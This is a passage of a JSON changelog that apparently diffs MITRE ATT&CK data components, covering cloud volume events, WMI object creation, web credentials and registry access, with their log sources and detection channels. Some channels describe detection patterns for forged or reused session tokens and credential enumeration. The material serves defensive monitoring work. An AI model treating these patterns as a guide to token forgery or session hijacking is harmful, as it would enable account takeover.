\"EventCode=4723, 4724, 4726, 4740\"}, {\"name\": \"saas:okta\", \"channel\": \"user.lifecycle.delete, user.account.lock\"}, {\"name\": \"m365:unified\", \"channel\": \"User excluded from MFA or MFA method registered\"}, {\"name\": \"saas:zoom\", \"channel\": \"DisableMFA or RegisterNewFactor\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"AttachUserPolicy, CreatePolicyVersion, PutRolePolicy\"}, {\"name\": \"gcp:audit\", \"channel\": \"google.iam.admin.v1.RoleAssignment\"}, {\"name\": \"m365:audit\", \"channel\": \"Add member to role, Add app role assignment\"}, {\"name\": \"Okta:SystemLog\", \"channel\": \"user.account.privilege.grant\"}, {\"name\": \"m365:unified\", \"channel\": \"Add member to role, Set-Mailbox\"}, {\"name\": \"m365:unified\", \"channel\": \"Set-MailboxAuditBypassAssociation or disabling Advanced Auditing\"}, {\"name\": \"m365:unified\", \"channel\": \"New agent registration by non-admin user\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4704\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4728, 4729, 4732, 4733, 4756, 4757\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"SYSCALL for usermod or /etc/group file modification\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process execution or directory service changes\"}, {\"name\": \"azure:policy\", \"channel\": \"DisableMfaPolicy or change to ConditionalAccess rules\"}, {\"name\": \"azure:audit\", \"channel\": \"Add member to role\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"AttachUserPolicy\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"CreateAccessKey\"}, {\"name\": \"azure:signinLogs\", \"channel\": \"unusual role assumption or elevation path\"}, {\"name\": \"saas:okta\", \"channel\": \"admin role granted outside approved workflows\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"role privilege expansion detected\"}, {\"name\": \"m365:unified\", \"channel\": \"Add-MailboxPermission, UpdateFolderPermissions\"}, {\"name\": \"gcp:audit\", \"channel\": \"Set Gmail Delegation\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"usermod, or account rename system calls\"}, {\"name\": \"azure:audit\", \"channel\": \"Rename user\"}, {\"name\": \"m365:unified\", \"channel\": \"Set-Mailbox, Set-InboxRule, Set-MailboxFolderPermission\"}, {\"name\": \"azure:audit\", \"channel\": \"Add service principal credentials, app password added, app role assignment\"}, {\"name\": \"gcp:audit\", \"channel\": \"iam.serviceAccounts.keys.create, os-login.sshPublicKeys.add\"}, {\"name\": \"gcp:audit\", \"channel\": \"API Key Created, OAuth Client Registered\"}, {\"name\": \"kubernetes:audit\", \"channel\": \"create or update events for RoleBinding or ClusterRoleBinding objects\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:36.735000+00:00\", \"old_value\": \"2025-04-18 15:09:51.231000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--dad75cc7-5bae-4175-adb4-ca1962d8650e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.275000+00:00", + "modified": "2025-10-21 15:14:39.832000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0097", + "external_id": "DC0097" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Volume Creation", + "description": "The initial provisioning of block storage volumes in cloud or on-prem environments, typically used for data storage, backup, or workload scaling.\n\n*Data Collection Measures:*\n\n- Cloud-Based Logging & Monitoring\n - AWS CloudTrail\n - `CreateVolume` \u2013 Logs the creation of new Amazon Elastic Block Store (EBS) volumes.\n - `RunInstances` \u2013 Can be correlated to detect automatic volume provisioning.\n - Azure Monitor & Log Analytics\n - `Microsoft.Compute/disks/write` \u2013 Captures creation of new managed/unmanaged disks.\n - `Microsoft.Storage/storageAccounts/write` \u2013 Detects creation of new Azure Blob Storage volumes.\n - Google Cloud Logging (GCP)\n - `compute.disks.insert` \u2013 Tracks new persistent disk creation.\n - `compute.instances.attachDisk` \u2013 Logs attachment of a volume to a running VM.\n - OpenStack Logs\n - `volume.create` \u2013 Captures new storage volume provisioning.\n - `cinder.volume.create` \u2013 Logs OpenStack Cinder block storage creation.\n- Host-Based & SIEM Detection\n - Linux/macOS System Logs\n - `/var/log/syslog` & `/var/log/messages` \u2013 Detects new mount points or attached storage.\n - `dmesg | grep \"new disk\"` \u2013 Identifies kernel messages for volume attachment.\n - AuditD: Tracks `mkfs` (filesystem creation) for new volume provisioning.\n - Windows Event Logs\n - Event ID 1006 (Storage Management Events) \u2013 Captures disk volume creation.\n - Event ID 5145 (Object Access: File Share) \u2013 Detects access to newly created storage shares.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "AWS:CloudTrail", + "channel": "CreateVolume" + }, + { + "name": "WinEventLog:Microsoft-Windows-VSS", + "channel": "Volume Shadow Copy Creation" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0097\", \"external_id\": \"DC0097\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"AWS:CloudTrail\", \"channel\": \"CreateVolume\"}, {\"name\": \"WinEventLog:Microsoft-Windows-VSS\", \"channel\": \"Volume Shadow Copy Creation\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:39.832000+00:00\", \"old_value\": \"2025-04-18 15:17:19.083000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--3acecdde-c327-4498-9bb8-33a2e63c6c57", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.275000+00:00", + "modified": "2025-10-21 15:14:38.711000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0098", + "external_id": "DC0098" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Volume Deletion", + "description": "The removal of a cloud-based or on-premise block storage volume. This action permanently deletes the allocated storage and may result in data loss if not backed up.\n\n*Data Collection Measures:*\n\n- Cloud Logging & APIs\n - AWS CloudTrail Logs\n - `eventName: DeleteVolume` (tracks volume deletions)\n - Azure Monitor Logs\n - `operationName: Microsoft.Compute/disks/delete`\n - `status: Success | Failure` (flag unauthorized delete attempts)\n - Google Cloud Audit Logs\n - `protoPayload.methodName: \"v1.compute.disks.delete\"`\n - `authenticationInfo.principalEmail` (identifies the user deleting the volume)\n- System & Host-Based Logging\n - Linux & macOS Logs:\n - `/var/log/syslog` or `/var/log/messages` for volume detach/deletion actions\n - Windows Event Logs:\n - Event ID 98 (Storage Class Memory)\n - Event ID 225 (Volume Removal Detected)\n - Event ID 12 (Disk Removal Notification)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "esxi:vmkernel", + "channel": "file delete|datastore purge" + }, + { + "name": "AWS:CloudTrail", + "channel": "DeleteVolume, ModifyVolume" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0098\", \"external_id\": \"DC0098\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"esxi:vmkernel\", \"channel\": \"file delete|datastore purge\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"DeleteVolume, ModifyVolume\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:38.711000+00:00\", \"old_value\": \"2025-04-18 15:17:25.575000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--ec225357-8197-47a4-a9cd-57741d592877", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.275000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0095", + "external_id": "DC0095" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Volume Enumeration", + "description": "An extracted list of available volumes within a cloud environment (ex: AWS describe-volumes)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0095\", \"external_id\": \"DC0095\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:49:47.887000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--0f72bf50-35b3-419d-ab95-70f9b6a818dd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.275000+00:00", + "modified": "2025-10-21 15:14:38.841000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0100", + "external_id": "DC0100" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Volume Metadata", + "description": "Contextual data about a cloud volume and activity around it, such as id, type, state, and size", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "WinEventLog:Security", + "channel": "4673, 4674" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0100\", \"external_id\": \"DC0100\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"WinEventLog:Security\", \"channel\": \"4673, 4674\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:38.841000+00:00\", \"old_value\": \"2025-04-25 14:49:38.106000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--d46272ce-a0fe-4256-855e-738de7bb63ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.275000+00:00", + "modified": "2025-10-21 15:14:39.109000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0092", + "external_id": "DC0092" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Volume Modification", + "description": "Changes made to a cloud volume, including its settings and control data (ex: AWS modify-volume)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "kubernetes:apiserver", + "channel": "Pod spec with hostPath or privileged securityContext" + }, + { + "name": "AWS:CloudTrail", + "channel": "ModifyVolume" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0092\", \"external_id\": \"DC0092\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"kubernetes:apiserver\", \"channel\": \"Pod spec with hostPath or privileged securityContext\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"ModifyVolume\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:39.109000+00:00\", \"old_value\": \"2025-04-25 14:49:35.774000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--05645013-2fed-4066-8bdc-626b2e201dd4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-21 15:14:35.880000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0008", + "external_id": "DC0008" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "WMI Creation", + "description": "Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or providers. \n\n*Data Collection Measures:*\n\n- Windows Security Event Logs:\n - Event ID 5861 (WMI Permanent Event Subscription)\n - Event ID 5860 (WMI Event Filter Activity)\n - Event ID 5857 (WMI Event Consumer Activity)\n- Sysmon Logs:\n - Sysmon Event ID 19 \u2013 WMI Event Filter Created\n - Sysmon Event ID 20 \u2013 WMI Event Consumer Created\n - Sysmon Event ID 21 \u2013 WMI Event Binding Created\n- Endpoint Detection & Response (EDR)\n - Detects WMI-based persistence techniques.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "WinEventLog:WMI", + "channel": "Creation or modification of __EventFilter, __FilterToConsumerBinding, or CommandLineEventConsumer" + }, + { + "name": "WinEventLog:Microsoft-Windows-WMI-Activity/Operational", + "channel": "EventCode=5861" + }, + { + "name": "WinEventLog:Application", + "channel": "WMI Object Creation Events" + }, + { + "name": "WinEventLog:WMI", + "channel": "EventCode=5857, 5858" + }, + { + "name": "WinEventLog:Microsoft-Windows-WMI-Activity/Operational", + "channel": "EventCode=5857, 5860, 5861" + }, + { + "name": "WinEventLog:WMI", + "channel": "EventCode=5857, 5860, 5861" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0008\", \"external_id\": \"DC0008\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"WinEventLog:WMI\", \"channel\": \"Creation or modification of __EventFilter, __FilterToConsumerBinding, or CommandLineEventConsumer\"}, {\"name\": \"WinEventLog:Microsoft-Windows-WMI-Activity/Operational\", \"channel\": \"EventCode=5861\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"WMI Object Creation Events\"}, {\"name\": \"WinEventLog:WMI\", \"channel\": \"EventCode=5857, 5858\"}, {\"name\": \"WinEventLog:Microsoft-Windows-WMI-Activity/Operational\", \"channel\": \"EventCode=5857, 5860, 5861\"}, {\"name\": \"WinEventLog:WMI\", \"channel\": \"EventCode=5857, 5860, 5861\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--2cd6cc81-d86e-4595-a4f0-43f5519f14e6\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:35.880000+00:00\", \"old_value\": \"2025-04-18 15:16:25.136000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--5f7c9def-0ddf-423b-b1f8-fb2ddeed0ce3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-21 15:14:38.777000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0006", + "external_id": "DC0006" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Web Credential Creation", + "description": "Initial construction of new web credential material (ex: Windows EID 1200 or 4769)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "WinEventLog:ADFS", + "channel": "Token issuance events showing anomalous claims or issuers" + }, + { + "name": "AWS:CloudTrail", + "channel": "AssumeRole, GetFederationToken API calls by unusual or new entities" + }, + { + "name": "azure:signinLogs", + "channel": "SAML/OIDC tokens issued without corresponding MFA or password validation" + }, + { + "name": "m365:unified", + "channel": "Session creation without MFA or login event" + }, + { + "name": "m365:oauth", + "channel": "OAuth grants or tokens issued without expected user consent" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0006\", \"external_id\": \"DC0006\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"WinEventLog:ADFS\", \"channel\": \"Token issuance events showing anomalous claims or issuers\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"AssumeRole, GetFederationToken API calls by unusual or new entities\"}, {\"name\": \"azure:signinLogs\", \"channel\": \"SAML/OIDC tokens issued without corresponding MFA or password validation\"}, {\"name\": \"m365:unified\", \"channel\": \"Session creation without MFA or login event\"}, {\"name\": \"m365:oauth\", \"channel\": \"OAuth grants or tokens issued without expected user consent\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--1e26f222-e27e-4bfa-830c-fa4b4f18b5e4\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:38.777000+00:00\", \"old_value\": \"2025-04-25 14:49:08.104000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-21 15:14:37.480000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0007", + "external_id": "DC0007" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Web Credential Usage", + "description": "An attempt by a user to gain access to a network or computing resource by providing web credentials (ex: Windows EID 1202)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "AWS:CloudTrail", + "channel": "SessionToken used without preceding MFA or login event" + }, + { + "name": "m365:unified", + "channel": "SessionId reused from different device/browser fingerprint" + }, + { + "name": "AWS:CloudTrail", + "channel": "AssumeRoleWithSAML" + }, + { + "name": "saas:access", + "channel": "SAML token accepted without preceding login challenge" + }, + { + "name": "m365:exchange", + "channel": "Mailbox access using SAML token without corresponding MFA event" + }, + { + "name": "AWS:CloudTrail", + "channel": "GetSessionToken, AssumeRoleWithWebIdentity" + }, + { + "name": "macos:unifiedlog", + "channel": "New session initiated using cookies without normal MFA or password validation" + }, + { + "name": "m365:unified", + "channel": "Session activity without correlated login event" + }, + { + "name": "AWS:CloudTrail", + "channel": "AssumeRole, GetFederationToken, GetSessionToken" + }, + { + "name": "azure:signinlogs", + "channel": "TokenIssued, RefreshTokenUsed" + }, + { + "name": "saas:googleworkspace", + "channel": "OAuthTokenGranted, APIRequest" + }, + { + "name": "m365:unified", + "channel": "OAuthTokenIssued, FileAccessed, MailItemsAccessed" + }, + { + "name": "kubernetes:apiserver", + "channel": "serviceAccount token used in API requests not tied to workload identity" + }, + { + "name": "NSM:Connections", + "channel": "Pre-authentication keys generated or token signing anomalies" + }, + { + "name": "macos:unifiedlog", + "channel": "Web sessions initiated with newly forged tokens" + }, + { + "name": "saas:auth", + "channel": "API requests made with tokens not associated with expected user logins" + }, + { + "name": "azure:signinLogs", + "channel": "TokenIssuanceStart, TokenIssuanceSuccess" + }, + { + "name": "saas:googleworkspace", + "channel": "access_token issued" + }, + { + "name": "m365:unified", + "channel": "TokenIssued, FileAccessed" + }, + { + "name": "AWS:CloudTrail", + "channel": "GetCallerIdentity" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0007\", \"external_id\": \"DC0007\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"AWS:CloudTrail\", \"channel\": \"SessionToken used without preceding MFA or login event\"}, {\"name\": \"m365:unified\", \"channel\": \"SessionId reused from different device/browser fingerprint\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"AssumeRoleWithSAML\"}, {\"name\": \"saas:access\", \"channel\": \"SAML token accepted without preceding login challenge\"}, {\"name\": \"m365:exchange\", \"channel\": \"Mailbox access using SAML token without corresponding MFA event\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"GetSessionToken, AssumeRoleWithWebIdentity\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"New session initiated using cookies without normal MFA or password validation\"}, {\"name\": \"m365:unified\", \"channel\": \"Session activity without correlated login event\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"AssumeRole, GetFederationToken, GetSessionToken\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"TokenIssued, RefreshTokenUsed\"}, {\"name\": \"saas:googleworkspace\", \"channel\": \"OAuthTokenGranted, APIRequest\"}, {\"name\": \"m365:unified\", \"channel\": \"OAuthTokenIssued, FileAccessed, MailItemsAccessed\"}, {\"name\": \"kubernetes:apiserver\", \"channel\": \"serviceAccount token used in API requests not tied to workload identity\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Pre-authentication keys generated or token signing anomalies\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Web sessions initiated with newly forged tokens\"}, {\"name\": \"saas:auth\", \"channel\": \"API requests made with tokens not associated with expected user logins\"}, {\"name\": \"azure:signinLogs\", \"channel\": \"TokenIssuanceStart, TokenIssuanceSuccess\"}, {\"name\": \"saas:googleworkspace\", \"channel\": \"access_token issued\"}, {\"name\": \"m365:unified\", \"channel\": \"TokenIssued, FileAccessed\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"GetCallerIdentity\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--1e26f222-e27e-4bfa-830c-fa4b4f18b5e4\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:37.480000+00:00\", \"old_value\": \"2025-04-25 14:48:47.351000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:39.242000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0050", + "external_id": "DC0050" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Windows Registry Key Access", + "description": "The action of opening a specific Windows Registry key, typically to read its associated value. This activity can be used for system configuration, application settings retrieval, and security policies.\n\n*Data Collection Measures:*\n\n- Windows Event Logs\n - Event ID 4656 - Handle to an Object was Requested: Logs attempts to open registry keys.\n - Event ID 4663 - An Object was Accessed: Captures read/write operations on registry keys.\n - Event ID 4657 - Registry Value Modification: Useful for detecting changes to registry keys after being accessed.\n- Sysmon\n - Sysmon Event ID 13 - Registry Value Set: Captures modifications to existing registry keys.\n- Endpoint Detection and Response (EDR) Solutions\n - Provide telemetry on registry key access activities, especially when linked to suspicious processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "WinEventLog:Security", + "channel": "EventCode=4656" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + }, + { + "name": "EDR:hunting", + "channel": "Behavioral rule for registry enumeration under credential-related paths" + }, + { + "name": "Autoruns:RegistryScan", + "channel": "Enumerate Winlogon subkeys for unknown or unsigned binaries" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0050\", \"external_id\": \"DC0050\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4656\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4657\"}, {\"name\": \"EDR:hunting\", \"channel\": \"Behavioral rule for registry enumeration under credential-related paths\"}, {\"name\": \"Autoruns:RegistryScan\", \"channel\": \"Enumerate Winlogon subkeys for unknown or unsigned binaries\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:39.242000+00:00\", \"old_value\": \"2025-04-18 15:12:12.634000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": 